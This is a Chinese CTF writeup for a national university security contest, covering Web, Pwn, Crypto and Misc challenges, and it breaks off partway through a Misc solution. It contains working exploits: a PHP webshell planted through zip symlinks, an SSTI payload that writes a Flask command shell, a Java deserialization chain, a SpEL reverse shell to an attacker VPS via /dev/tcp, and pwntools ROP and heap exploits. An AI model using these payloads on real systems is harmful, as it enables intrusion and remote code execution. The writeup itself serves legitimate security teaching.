第十六届全国大学生信息安全竞赛 初赛 Writeup


[TOC]
文章目录
Web
unzip
<?php
error_reporting(0);
highlight_file(__FILE__);
$finfo = finfo_open(FILEINFO_MIME_TYPE);
if (finfo_file($finfo, $_FILES["file"]["tmp_name"]) === 'application/zip'){
exec('cd /tmp && unzip -o ' . $_FILES["file"]["tmp_name"]);
};
//only this!
unzip 命令没有 zip slip 的问题
但因为是压缩包, 所以可以传软连接 (参考 2022 MTCTF OnlineUnzip)
注意到执行 unzip 的时候有个 -o
参数, 即默认允许覆盖文件
所以考虑先创建一个指向 /var
目录的软连接 test
, 本地压缩好后放到网站上解压
然后上传同名的 upload.php 解压到 /tmp/test/www/html/
, 覆盖原来的 upload.php 为 webshell
upload.php
<?php eval($_REQUEST[1]);phpinfo();?>
test.zip
ln -s /var test
zip -y test.zip test
a.zip
import zipfile
zf = zipfile.ZipFile('a.zip', 'w')
zf.write('upload.php', 'test/www/html/upload.php')
zf.close()
依次上传 test.zip a.zip


go_session
session 由 gorilla/sessions 实现, 并且 session key 从环境变量中获得
var store = sessions.NewCookieStore([]byte(os.Getenv("SESSION_KEY")))
/admin 路由需要 session name 为 admin 才能访问, 里面调用了 pongo2 来实现模版解析
/flask 路由可以访问到本机 5000 端口的 flask, 但是根据报错信息泄露的源码来看只有一个没有用的路由, 不过开启了 debug 模式

试了一会发现 os.Getenv
如果获取不存在的环境变量就会返回空值
所以瞎猜一波题目服务器上并没有设置 SESSION_KEY
本地随便改一下源码, 把 cookie 复制下来扔到服务器上
var store = sessions.NewCookieStore([]byte(""))
func Index(c *gin.Context) {
session, err := store.Get(c.Request, "session-name")
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
if session.Values["name"] == nil {
session.Values["name"] = "admin"
err = session.Save(c.Request, c.Writer)
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
}
c.String(200, "Hello, admin")
}

之后是 pongo2 ssti
参考文档:
https://github.com/flosch/pongo2
https://pkg.go.dev/github.com/gin-gonic/gin
注意到源码在编译模版的时候到 context 只传了 gin.Context, 所以猜测肯定是要从这方面入手
经过一段时间的测试和搜索找到这篇文章
https://www.imwxz.com/posts/2b599b70.html#template%E7%9A%84%E5%A5%87%E6%8A%80%E6%B7%AB%E5%B7%A7
一个任意文件写, 又想到上面的 flask 开了 debug 模式, 而在 debug 模式下 flask 会动态更新源码的内容
所以思路是通过 FormFile 和 SaveUploadedFile 上传文件覆盖掉之前的 flask 源码, 然后访问 /flask 路由 rce
源码路径可以在报错信息中找到
http://123.56.244.196:17997/flask?name=

最后因为模版编译前会通过 html 编码把单双号转义, 所以需要换个方式传入字符串
发现 gin.Context 里面包装了 Request 和 ResponseWriter, 这里随便找了个 Request.UserAgent()
// UserAgent returns the client's User-Agent, if sent in the request.
func (r *Request) UserAgent() string {
return r.Header.Get("User-Agent")
}
最终 payload
GET /admin?name={{c.SaveUploadedFile(c.FormFile(c.Request.UserAgent()),c.Request.UserAgent())}} HTTP/1.1
Host: 123.56.244.196:17997
Content-Length: 613
Cache-Control: max-age=0
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryrxtSm5i2S6anueQi
User-Agent: /app/server.py
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Cookie: session-name=MTY4NTE1ODc3OHxEdi1CQkFFQ180SUFBUkFCRUFBQUlfLUNBQUVHYzNSeWFXNW5EQVlBQkc1aGJXVUdjM1J5YVc1bkRBY0FCV0ZrYldsdXzlZGsWROWLHoCNn0Pbu3SkgRLWCZRrj8UIHVYgHU7GPw==
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
------WebKitFormBoundaryrxtSm5i2S6anueQi
Content-Disposition: form-data; name="/app/server.py"; filename="server.py"
Content-Type: text/plain
from flask import Flask, request
import os
app = Flask(__name__)
@app.route('/shell')
def shell():
cmd = request.args.get('cmd')
if cmd:
return os.popen(cmd).read()
else:
return 'shell'
if __name__== "__main__":
app.run(host="127.0.0.1",port=5000,debug=True)
------WebKitFormBoundaryrxtSm5i2S6anueQi
Content-Disposition: form-data; name="submit"
提交
------WebKitFormBoundaryrxtSm5i2S6anueQi--


http://123.56.244.196:17997/flask?name=/shell?cmd=cat%2520/00cab53f1ece95d90020_flag

DeserBug
题目给了 commons-collections 和 hutool 依赖, 由于前者是 3.2.2 版本的所以诸如 InvokeTransformer 之类的就不能用了
hutool 里面有 JSONArray 和 JSONObject 类, 看名字感觉很像 fastjson 的类, 但实际上经过测试它们只会在 add / put 的时候触发任意 getter / setter, 调用 toString 时并不会触发
然后题目给了一个 Myexpect 类, 它的 getAnyexcept 可以调用任意类的 public 构造方法
结合之前 cc 链的经验很容易想到 com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter
这个类
TemplatesImpl templatesImpl = new TemplatesImpl();
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(TemplatesEvilClass.class.getName());
Reflection.setFieldValue(templatesImpl, "_name", "Hello");
Reflection.setFieldValue(templatesImpl, "_bytecodes", new byte[][]{clazz.toBytecode()});
Reflection.setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());
Myexpect expect = new Myexpect();
expect.setTargetclass(TrAXFilter.class);
expect.setTypeparam(new Class[]{Templates.class});
expect.setTypearg(new Object[]{templatesImpl});
之后需要找到从 readObject / toString 到 put / add 的链子, 根据题目给的 cc 依赖容易想到 TiedMapEntry 和 LazyMap
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
最终 payload
import cn.hutool.json.JSONObject;
import com.app.Myexpect;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.net.URL;
import java.net.URLEncoder;
import java.util.*;
public class Demo {
public static void main(String[] args) throws Exception {
String result;
TemplatesImpl templatesImpl = new TemplatesImpl();
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(TemplatesEvilClass.class.getName());
Reflection.setFieldValue(templatesImpl, "_name", "Hello");
Reflection.setFieldValue(templatesImpl, "_bytecodes", new byte[][]{clazz.toBytecode()});
Reflection.setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());
Myexpect expect = new Myexpect();
expect.setTargetclass(TrAXFilter.class);
expect.setTypeparam(new Class[]{Templates.class});
expect.setTypearg(new Object[]{templatesImpl});
JSONObject jsonObject = new JSONObject();
jsonObject.put("aa", "bb");
Transformer transformer = new ConstantTransformer(1);
Map innerMap = jsonObject;
Map outerMap = LazyMap.decorate(innerMap, transformer);
TiedMapEntry tme = new TiedMapEntry(outerMap, "k");
Map expMap = new HashMap();
expMap.put(tme, "valuevalue");
innerMap.clear();
Reflection.setFieldValue(transformer, "iConstant", expect);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream output = new ObjectOutputStream(baos);
output.writeObject(expMap);
output.flush();
baos.flush();
byte[] data = baos.toByteArray();
String bugstr = URLEncoder.encode(Base64.getEncoder().encodeToString(data));
System.out.println(bugstr);
// try {
// byte[] decode = Base64.getDecoder().decode(bugstr);
// ObjectInputStream inputStream = new ObjectInputStream(new ByteArrayInputStream(decode));
// Object object = inputStream.readObject();
// result = object.toString();
// } catch (Exception e) {
// System.out.println(e.getClass());
// com.app.Myexpect myexpect = new com.app.Myexpect();
// myexpect.setTypeparam(new Class[]{String.class});
// myexpect.setTypearg(new String[]{e.toString()});
// myexpect.setTargetclass(e.getClass());
// try {
// result = myexpect.getAnyexcept().toString();
// } catch (Exception ex) {
// result = ex.toString();
// }
// }
}
}


BackendService
参考文章
https://www.cnblogs.com/backlion/p/17246695.html
结合之前爆出来的 nacos jwt 默认密钥导致的未授权漏洞
SecretKey012345678901234567890123456789012345678901234567890123456789

然后直接去 nacos 后台发布配置, 注意 Data ID 为 backcfg
并且内容为 json 格式 (参考源码中的 bootstrap.yml)
{
"spring": {
"cloud": {
"gateway": {
"routes": [
{
"id": "exam",
"order": 0,
"uri": "http://example.com/",
"predicates": [
"Path=/echo/**"
],
"filters": [
{
"name": "AddResponseHeader",
"args": {
"name": "result",
"value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{'bash', '-c', 'bash -i >& /dev/tcp/vps-ip/65444 0>&1'}).getInputStream())).replaceAll('\n','').replaceAll('\r','')}"
}
}
]
}
]
}
}
}
}


dumpit
参考文章: https://mariadb.com/kb/en/mariadb-dump/
猜测 ?db=&table_2_dump=
调用的是 mysqldump 之类的命令, 存在命令注入, 但是过滤了常规的一些字符
测试发现 mysqldump 会将 database 的名称输出 (即使不存在), 翻阅文档得知可以通过 --result-file
参数指定生成的文件名
payload
http://eci-2zej20xezk9iber18vi8.cloudeci1.ichunqiu.com:8888/?db=%22%3C?=phpinfo()?%3E%22%20--result-file%20shell.php&table_2_dump=flag1
flag 在环境变量里面

Pwn
shaokao
改名函数有个明显的栈溢出。但你得先把烧烤摊承包了。

随便看看就能看到有个可以白吃白喝让老板倒找钱给你的洞。这里对价格的处理用的是int,如果输入负数就可以既满足if又能让money增加。

钱够了,承包之,就可以改名了。进而栈溢出。
然后发现程序里有mprotect
,考虑改rwx。
直接改name那个0x1000会炸不知道为什么,后来改到bss高地址可以。
from pwn import *
context(arch="amd64",os="linux",log_level="debug")
#s=process("./shaokao")
s=remote("123.56.251.120",21758)
elf=ELF("./shaokao")
rdi=0x40264f
rsi=0x40a67e
rax_rdx_rbx=0x4a404a
binsh=0x4E60F0
mprotect=elf.sym.mprotect
def menu(ch):
s.sendlineafter(b"> ",str(ch).encode())
if __name__=="__main__":
menu(1)
s.sendline(b"1")
sleep(0.5)
s.sendline(b"-10000")
menu(4)
menu(5)
p=flat([
b"/bin/sh\x00\x0f\x05".ljust(0x28,b"\x90"),
rdi,0x4ea000,
rsi,0x1000,
rax_rdx_rbx,0x0,0x7,0x0,
mprotect,
rdi,0,
rsi,0x4ea000,
rax_rdx_rbx,0,0x1000,0,
elf.sym.read,
0x4ea000,
])
""""""
s.sendlineafter("请赐名:",p)
sleep(0.5)
s.send(asm(shellcraft.sh()))
s.interactive()
Strange Talk Bot
先不看最开始对输入处理的那个函数,先看后面的。
稍微逆一逆:

2.31的UAF,限制很宽松,最多0x20个堆块,堆块大小和输入长度最大0xf0,删除处有UAF,堆列表不可覆盖(即如果此位置申请过堆块不能再在这个位置申请)。
后面这部分就是随便玩了,构造大堆块,伪造指针,free后show之,libc和heap的base就都有了。剩下就是2.31堆上的、配合rdi->rdx->setcontext这类的常规orw。
至于前面,那4byte丢到google看一下能搜到protobuf相关内容,小猜一手前面套了一层protobuf。
然后随便看看strings,找到这里:

几个字段也就有了,再在周围找找id和数据类型。
对几个字符串解引用:

可以看到几个字符串解引用后基本都是这个结构,第一个是tag
,第二个是数据类型,详情可见官方文档,第三个似乎是某种偏移,本次利用中没有用到,没有深入研究。
然后就可以开始着手写proto了。格式参见此处。
关于下面的required和optional:
本来函数是不需要msgsize和msgcontent的,但是调试的时候发现会炸所以全改成required了。
syntax = "proto2";
package test;
message Msg {
required int64 actionid = 1;
required int64 msgidx = 2;
required int64 msgsize = 3;
required bytes msgcontent = 4;
}
然后用protoc
编译之,安装及命令行从略。
生成的py代码跟文档中不太一样,这里参照这份WP中的内容略作添加。
# -*- coding: utf-8 -*-
# Generated by the protocol buffer compiler. DO NOT EDIT!
# source: test.proto
"""Generated protocol buffer code."""
from google.protobuf import descriptor as _descriptor
from google.protobuf import descriptor_pool as _descriptor_pool
from google.protobuf import symbol_database as _symbol_database
from google.protobuf.internal import builder as _builder
# @@protoc_insertion_point(imports)
_sym_db = _symbol_database.Default()
DESCRIPTOR = _descriptor_pool.Default().AddSerializedFile(b'\n\ntest.proto\x12\x04test\"L\n\x03Msg\x12\x10\n\x08\x61\x63tionid\x18\x01 \x02(\x03\x12\x0e\n\x06msgidx\x18\x02 \x02(\x03\x12\x0f\n\x07msgsize\x18\x03 \x02(\x03\x12\x12\n\nmsgcontent\x18\x04 \x02(\x0c')
_globals = globals()
_builder.BuildMessageAndEnumDescriptors(DESCRIPTOR, _globals)
_builder.BuildTopDescriptorsAndMessages(DESCRIPTOR, 'test_pb2', _globals)
if _descriptor._USE_C_DESCRIPTORS == False:
DESCRIPTOR._options = None
_globals['_MSG']._serialized_start=20
_globals['_MSG']._serialized_end=96
# @@protoc_insertion_point(module_scope)
from google.protobuf import message as _message
from google.protobuf import reflection as _reflection
Msg=_reflection.GeneratedProtocolMessageType("Msg",(_message.Message,), dict(
DESCRIPTOR = _globals["_MSG"],
__module__ = "test_pb2"
))
_sym_db.RegisterMessage(Msg)
然后就可以开调了。
埋在参数处理中的坑:actionid
、msgidx
、msgsize
都需要在原大小基础上*2
from pwn import *
import test_pb2
context(arch="amd64",log_level="debug")
s=process('./pwn')
s=remote("39.105.26.155",14934)
libc=ELF("./libc-2.31 (2).so")
time_val=0.01
def add(idx,sz,content=b"/flag\x00\x00\x00"):
s.recvuntil(b"now: \n")
dat=test_pb2.Msg()
dat.actionid=1*2
dat.msgidx=idx*2
dat.msgsize=sz*2
dat.msgcontent=content
s.send(dat.SerializeToString())
sleep(time_val)
def edit(idx,sz,content=b"/flag\x00\x00\x00"):
s.recvuntil(b"now: \n")
dat=test_pb2.Msg()
dat.actionid=2*2
dat.msgidx=idx*2
dat.msgsize=sz*2
dat.msgcontent=content
s.send(dat.SerializeToString())
sleep(time_val)
def show(idx):
s.recvuntil(b"now: \n")
dat=test_pb2.Msg()
dat.actionid=3*2
dat.msgidx=idx*2
dat.msgsize=0x40
dat.msgcontent=b"/flag\x00\x00\x00"
s.send(dat.SerializeToString())
sleep(time_val)
def delete(idx):
s.recvuntil(b"now: \n")
dat=test_pb2.Msg()
dat.actionid=4*2
dat.msgidx=idx*2
dat.msgsize=0x40
dat.msgcontent=b"/flag\x00\x00\x00"
s.send(dat.SerializeToString())
sleep(time_val)
if __name__=="__main__":
sleep(3)
for i in range(3):
add(i,0xf0,b"/flag\x00\x00\x00"+p64(0)*4+p64(0x431))
for i in range(2):
delete(i)
show(1)
heap_base=u64(s.recv(6).ljust(8,b"\x00"))&0xfffffffffffff000
success("heap base: "+hex(heap_base))
edit(1,8,p64(heap_base+0x320))
add(4,0xf0)
add(5,0xf0)
delete(5)
show(5)
s.recv(0x70)
libc_base=u64(s.recv(6).ljust(8,b"\x00"))-(0x7f5b95523be0-0x7f5b95337000)
success("libc base: "+hex(libc_base))
flag=heap_base+0x2f0
magic=libc_base+0x151990
rdi=libc_base+0x0000000000023b6a
rsi=libc_base+0x000000000002601f
rdx=libc_base+0x0000000000142c92
ret=libc_base+0x55042
setcontext=libc_base+libc.sym.setcontext+61
copen=libc_base+libc.sym.open
cread=libc_base+libc.sym.read
cwrite=libc_base+libc.sym.write
payload=flat([
rdi,flag,
rsi,0,rdx,0,
copen,
rdi,3,rsi,heap_base+0x500,rdx,0x100,
cread,
rdi,1,
cwrite
])
_rdx_=heap_base+0xa60
orw=heap_base+0xd20
pivot=flat({
8:_rdx_,
0x20:setcontext,
0xa8:ret,
0xa0:orw,
})
add(12,0xe0)
add(13,0xe0)
add(6,0xe0)
add(7,0xe0)
add(8,0xe0,payload)
delete(12)
delete(13)
delete(7)
delete(6)
edit(7,8,p64(libc_base+libc.sym.__free_hook))
add(9,0xe0,pivot)
add(10,0xe0)
add(11,0xe0,p64(magic))
delete(9)
s.interactive()
funcanary
基于fork的程序canary都一样,one-by-one爆破即可。
最后partial-overwrite返回地址到后门。
那个random属于是脑洞了,爆了一上午没爆出来加了个random秒出。
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
s=remote("123.56.236.235",34266)
#s=process("./funcanary")
elf=ELF("./funcanary")
def ssp():
p=b"a"*104
start=len(p)
stop=len(p)+8
while len(p)<stop:
for i in range(256):
s.recvline()
s.send(p+int.to_bytes(i,length=1,byteorder='little'))
res=s.recvline()
if res==b"have fun\n":
p+=int.to_bytes(i,length=1,byteorder='little')
success(hex(i))
break
return p
if __name__=="__main__":
p=ssp()+b"a"*8+b"\x31"
print(p)
s.recv()
while 1:
s.send(p+int.to_bytes(random.randint(1,15)*16+2,length=1,byteorder="little"))
res=s.recvline()
print(res)
if res!=b"welcome\n":
success(res)
pause()
s.interactive()
Crypto
基于国密SM2算法的密钥密文分发
SM2 密钥在线生成工具 (const.net.cn)生成密钥,发送公钥
allkey接口返回服务器端pubkey明文,privatekey密文以及randomString密文
search接口可以直接拿到randomstring明文也就是C
用C作为密钥用SM4_CBC解密privatekey
quantum拿密文,用上面解出的privatekey解出明文,然后check通过
可信度量
传统艺能非预期:grep -ra “flag{” / 2>/dev/null
Sign_in_passwd
一共两行,第一行base64密文,用第二行URLdecode后作为base64换表,解出flag
BB84
exp:
f = open('info.csv', 'r')
l0 = [int(i) for i in f.readline().split(',')[1:]]
l1 = [int(i) for i in f.readline().split(',')[1:]]
l2 = [int(i) for i in f.readline().split(',')[1:]]
l3 = [int(i) for i in f.readline().split(',')[1:]]
l4 = [int(i) for i in f.readline().split(',')[1:]]
k = ''
for i in range(3000):
if l1[i] + l2[i] + l3[i] + l4[i] == 1:
if (l0[i] == 1 or l0[i] == 2) and (l1[i] != 1 and l2[i] != 1):
continue
elif (l0[i] == 3 or l0[i] == 4) and (l3[i] != 1 and l4[i] != 1):
continue
elif l0[i] == 1 or l0[i] == 3:
k += '0'
elif l0[i] == 2 or l0[i] == 4:
k += '1'
else:
exit(0)
print(k)
m = len(k)
print(len(k))
a = 1709
b = 2003
x = 17
k1 = ''
for i in range(336):
k1 += k[x]
x = (x*a+b)%m
print(k1)
k1 = int(k1,2)
print(k1)
c =
m = k1^c
from Crypto.Util.number import *
print(long_to_bytes(m))
badkey1
定位到唯一有可能会出问题的代码:
if Integer(n).gcd(d) != 1:
raise ValueError("RSA private exponent is not coprime to modulus")
# Modulus must be product of 2 primes
考虑使$d=k_1*p$
$e*d=k_2(p-1)(q-1)+1$
$ek_1p=k_2(p-1)(q-1)+1$
可得$p[(q-1)k_2-k_1e]=(q-1)k_2-1$
对上式模e可得 $(q-1)k_2-1 \equiv p(q-1)*k_2 \pmod{e}$
exp:
e = 65537
while True:
q = getPrime(512)
for k2 in range(e):
x = (q-1)*k2
x %= e
if x == 0:
continue
if ((q-1)*k2-1) % x == 0:
p = ((q-1)*k2-1)//x
if isPrime(p) and p.bit_length()==512:
print(p,q)
break
Misc
签到卡
直接输入
print(open('/flag').read())
被加密的生产流量
一眼modbus
tshark直接提取
tshark -r modbus.pcap -T fields -e modbus.word_cnt | sed '/^\s*$/d' > 1.txt
然后写脚本转换
from Crypto.Util.number import *
from base64 import b32decode
f = open('1.txt').read().splitlines()
flag = ''
for i in f:
flag += long_to_bytes(int(i))
print(b32decode(flag).decode())
#c1f_fi1g_1000
国粹
先把a.png和k.png分开,每个341张图
import cv2
img = cv2.imread('x.png')
for i in range(341):
imgg = img[0:73, 53*i:53*(i+1)]
cv2.imwrite('./xxx/'+str(i)+'.png', imgg)
这时候其实很明显每张图大小不一样,所以不用写脚本识别图片了,直接看大小
list = []
for i in range(341):
img = open('./xxx/' + str(i) + '.png', 'rb').read()
data = len(img)
list.append(data)
print(list)
print(len(list))
得到a.png和k.png中的所有图片大小
aaa = [3011, 3011, 3011, 3011, 3355, 3355, 3355, 3355, 3355, 3355, 3355, 3310, 3310, 3310, 3310, 3310, 3310, 3310, 3310, 3310, 3310, 3310, 3957, 3957, 3957, 3957, 3957, 3957, 3957, 3957, 3957, 3957, 3957, 3957, 3957, 3957, 3792, 3792, 3792, 3792, 3792, 3792, 3792, 3792, 3792, 3792, 3792, 3792, 3576, 3576, 3576, 3576, 3576, 3576, 3576, 3576, 3576, 3576, 3576, 3506, 3506, 3506, 3506, 3506, 3506, 3506, 3506, 3506, 3506, 3506, 3506, 3506, 3506, 3506, 3382, 3382, 3382, 3382, 3382, 3382, 3382, 3382, 3382, 3382, 3382, 3382, 3382, 3878, 3878, 3878, 3878, 3878, 3878, 5254, 5254, 2841, 2841, 2841, 2841, 3632, 3632, 3632, 3632, 3632, 3632, 3632, 3632, 3632, 3632, 3632, 3632, 3632, 3632, 4454, 4454, 4454, 4454, 4454, 4454, 4454, 4454, 4968, 4968, 4968, 4968, 4968, 4968, 4968, 5709, 5709, 5709, 5709, 5709, 5709, 5709, 5709, 6480, 6480, 6480, 6480, 6480, 6480, 6480, 6480, 7072, 7072, 7072, 7072, 7072, 4660, 4660, 4660, 4660, 4660, 4660, 4660, 4660, 4660, 4660, 4660, 4660, 4660, 4660, 4660, 4660, 4660, 2059, 2059, 3762, 3762, 3762, 3762, 3762, 3762, 3762, 3762, 3762, 3762, 3762, 3762, 4717, 4717, 4717, 4717, 4717, 4717, 4717, 4717, 4717, 4717, 4717, 4717, 4717, 5579, 5579, 5579, 5579, 5579, 5579, 5579, 5579, 5579, 5579, 4591, 4591, 4591, 4591, 4591, 4591, 4591, 4591, 4591, 4591, 4591, 5309, 5309, 5309, 5309, 5309, 5309, 5309, 5309, 5309, 5309, 5678, 5678, 5678, 5678, 5678, 5678, 5678, 5678, 5678, 5678, 5678, 2388, 2388, 2388, 2388, 2388, 2388, 2388, 2388, 2388, 2388, 2388, 2388, 2388, 2456, 2456, 2456, 2456, 2456, 2385, 2385, 2385, 2385, 2385, 2385, 1932, 1932, 1932, 1932, 1932, 1932, 1932, 1932, 1932, 1932, 1932, 1932, 1932, 1932, 1932, 2985, 2985, 2985, 2985, 2985, 2985, 2985, 2985, 2985, 2985, 2985, 2960, 2960, 2960, 2960, 2960, 2960, 2960, 2960, 2960, 2702, 2702, 2702, 2702, 2702, 2702, 2702, 2702, 2702, 2702, 2702, 2935, 2935, 2935, 2935, 2935, 2935, 2935, 3483, 3483, 3483, 3483, 3483, 3483, 3483, 3483, 3483, 3427, 3427, 3427, 3427, 3427, 3427, 3427, 3427, 3427, 3427, 3427, 3427, 3427, 3427, 3427, 3427, 3427, 3371, 3371, 3371]
kkk = [3957, 3792, 5254, 2458, 3310, 3957, 3792, 3576, 5254, 2456, 2458, 3310, 3957, 5254, 5709, 6480, 3762, 4717, 5579, 4591, 2456, 2458, 3355, 3310, 3957, 3792, 5254, 4968, 5709, 7072, 2963, 3762, 5579, 4591, 2456, 2458, 3310, 3957, 5254, 4968, 6480, 7072, 4660, 2963, 3762, 4591, 2388, 2456, 3310, 3957, 5254, 4968, 5709, 7072, 4660, 2963, 3762, 4591, 2456, 3310, 3957, 5254, 3776, 2841, 3632, 4968, 7072, 4660, 3762, 4717, 5579, 4591, 2456, 2458, 3310, 3957, 3776, 2841, 4968, 5709, 6480, 7072, 4660, 2059, 4591, 2456, 2458, 2963, 3762, 5579, 4591, 2458, 2385, 4717, 5579, 3762, 4717, 5579, 4591, 3355, 3310, 3957, 3792, 3878, 5254, 3776, 2841, 5709, 6480, 7072, 4660, 5579, 4591, 3355, 3792, 3576, 3878, 2841, 4660, 4717, 5579, 3792, 3878, 2841, 7072, 4660, 3762, 4717, 3957, 3792, 3878, 2841, 6480, 7072, 4717, 5579, 3310, 3957, 3878, 2841, 5709, 6480, 5579, 4591, 3310, 3878, 2841, 5709, 4591, 3310, 3957, 3792, 3576, 3878, 5254, 3776, 2841, 5709, 6480, 7072, 4660, 2963, 3762, 4717, 5579, 4591, 5254, 3776, 3310, 3957, 3792, 3576, 5254, 3776, 2841, 6480, 7072, 4660, 5579, 4591, 3310, 3576, 3506, 3878, 5254, 5709, 6480, 4660, 2059, 3762, 4717, 5579, 4591, 3310, 3576, 3506, 3878, 5254, 5709, 4660, 2059, 5579, 4591, 3310, 3576, 3506, 5254, 3776, 2841, 5709, 4660, 2059, 5579, 4591, 3310, 3576, 3506, 2841, 3632, 5709, 4660, 2059, 5579, 4591, 3310, 3576, 3506, 3878, 2841, 3632, 5709, 4660, 2059, 5579, 4591, 3310, 3957, 3576, 3878, 5254, 3776, 2841, 5709, 6480, 4660, 2059, 5579, 4591, 3957, 3792, 6480, 7072, 4660, 5254, 3776, 2841, 3632, 4591, 2385, 3957, 3792, 3576, 5254, 3776, 2841, 3632, 6480, 7072, 4660, 4717, 5579, 4591, 5309, 1932, 3310, 3957, 3576, 3506, 2841, 5709, 6480, 4717, 5579, 5309, 1932, 3576, 3506, 3776, 5709, 6480, 4717, 5579, 5309, 1932, 3576, 3776, 2841, 6480, 7072, 4660, 4717, 5579, 4591, 5309, 2985, 3792, 2841, 3632, 4660, 2059, 5309, 1932, 3957, 3792, 3632, 5709, 4660, 2059, 4591, 5309, 1932, 3957, 3792, 3576, 3506, 3878, 5254, 3776, 2841, 3632, 5709, 6480, 7072, 4660, 5579, 4591, 2385, 1932, 4717, 5579, 2385]
然后直接拿原图索引,搞到每张牌的位置
aaa = [3011, 3011, 3011, 3011, 3355, 3355, 3355, 3355, 3355, 3355, 3355, 3310, 3310, 3310, 3310, 3310, 3310, 3310, 3310, 3310, 3310, 3310, 3957, 3957, 3957, 3957, 3957, 3957, 3957, 3957, 3957, 3957, 3957, 3957, 3957, 3957, 3792, 3792, 3792, 3792, 3792, 3792, 3792, 3792, 3792, 3792, 3792, 3792, 3576, 3576, 3576, 3576, 3576, 3576, 3576, 3576, 3576, 3576, 3576, 3506, 3506, 3506, 3506, 3506, 3506, 3506, 3506, 3506, 3506, 3506, 3506, 3506, 3506, 3506, 3382, 3382, 3382, 3382, 3382, 3382, 3382, 3382, 3382, 3382, 3382, 3382, 3382, 3878, 3878, 3878, 3878, 3878, 3878, 5254, 5254, 2841, 2841, 2841, 2841, 3632, 3632, 3632, 3632, 3632, 3632, 3632, 3632, 3632, 3632, 3632, 3632, 3632, 3632, 4454, 4454, 4454, 4454, 4454, 4454, 4454, 4454, 4968, 4968, 4968, 4968, 4968, 4968, 4968, 5709, 5709, 5709, 5709, 5709, 5709, 5709, 5709, 6480, 6480, 6480, 6480, 6480, 6480, 6480, 6480, 7072, 7072, 7072, 7072, 7072, 4660, 4660, 4660, 4660, 4660, 4660, 4660, 4660, 4660, 4660, 4660, 4660, 4660, 4660, 4660, 4660, 4660, 2059, 2059, 3762, 3762, 3762, 3762, 3762, 3762, 3762, 3762, 3762, 3762, 3762, 3762, 4717, 4717, 4717, 4717, 4717, 4717, 4717, 4717, 4717, 4717, 4717, 4717, 4717, 5579, 5579, 5579, 5579, 5579, 5579, 5579, 5579, 5579, 5579, 4591, 4591, 4591, 4591, 4591, 4591, 4591, 4591, 4591, 4591, 4591, 5309, 5309, 5309, 5309, 5309, 5309, 5309, 5309, 5309, 5309, 5678, 5678, 5678, 5678, 5678, 5678, 5678, 5678, 5678, 5678, 5678, 2388, 2388, 2388, 2388, 2388, 2388, 2388, 2388, 2388, 2388, 2388, 2388, 2388, 2456, 2456, 2456, 2456, 2456, 2385, 2385, 2385, 2385, 2385, 2385, 1932, 1932, 1932, 1932, 1932, 1932, 1932, 1932, 1932, 1932, 1932, 1932, 1932, 1932, 1932, 2985, 2985, 2985, 2985, 2985, 2985, 2985, 2985, 2985, 2985, 2985, 2960, 2960, 2960, 2960, 2960, 2960, 2960, 2960, 2960, 2702, 2702, 2702, 2702, 2702, 2702, 2702, 2702, 2702, 2702, 2702, 2935, 2935, 2935, 2935, 2935, 2935, 2935, 3483, 3483, 3483, 3483, 3483, 3483, 3483, 3483, 3483, 3427, 3427, 3427, 3427, 3427, 3427, 3427, 3427, 3427, 3427, 3427, 3427, 3427, 3427, 3427, 3427, 3427, 3371, 3371, 3371]
kkk = [3957, 3792, 5254, 2458, 3310, 3957, 3792, 3576, 5254, 2456, 2458, 3310, 3957, 5254, 5709, 6480, 3762, 4717, 5579, 4591, 2456, 2458, 3355, 3310, 3957, 3792, 5254, 4968, 5709, 7072, 2963, 3762, 5579, 4591, 2456, 2458, 3310, 3957, 5254, 4968, 6480, 7072, 4660, 2963, 3762, 4591, 2388, 2456, 3310, 3957, 5254, 4968, 5709, 7072, 4660, 2963, 3762, 4591, 2456, 3310, 3957, 5254, 3776, 2841, 3632, 4968, 7072, 4660, 3762, 4717, 5579, 4591, 2456, 2458, 3310, 3957, 3776, 2841, 4968, 5709, 6480, 7072, 4660, 2059, 4591, 2456, 2458, 2963, 3762, 5579, 4591, 2458, 2385, 4717, 5579, 3762, 4717, 5579, 4591, 3355, 3310, 3957, 3792, 3878, 5254, 3776, 2841, 5709, 6480, 7072, 4660, 5579, 4591, 3355, 3792, 3576, 3878, 2841, 4660, 4717, 5579, 3792, 3878, 2841, 7072, 4660, 3762, 4717, 3957, 3792, 3878, 2841, 6480, 7072, 4717, 5579, 3310, 3957, 3878, 2841, 5709, 6480, 5579, 4591, 3310, 3878, 2841, 5709, 4591, 3310, 3957, 3792, 3576, 3878, 5254, 3776, 2841, 5709, 6480, 7072, 4660, 2963, 3762, 4717, 5579, 4591, 5254, 3776, 3310, 3957, 3792, 3576, 5254, 3776, 2841, 6480, 7072, 4660, 5579, 4591, 3310, 3576, 3506, 3878, 5254, 5709, 6480, 4660, 2059, 3762, 4717, 5579, 4591, 3310, 3576, 3506, 3878, 5254, 5709, 4660, 2059, 5579, 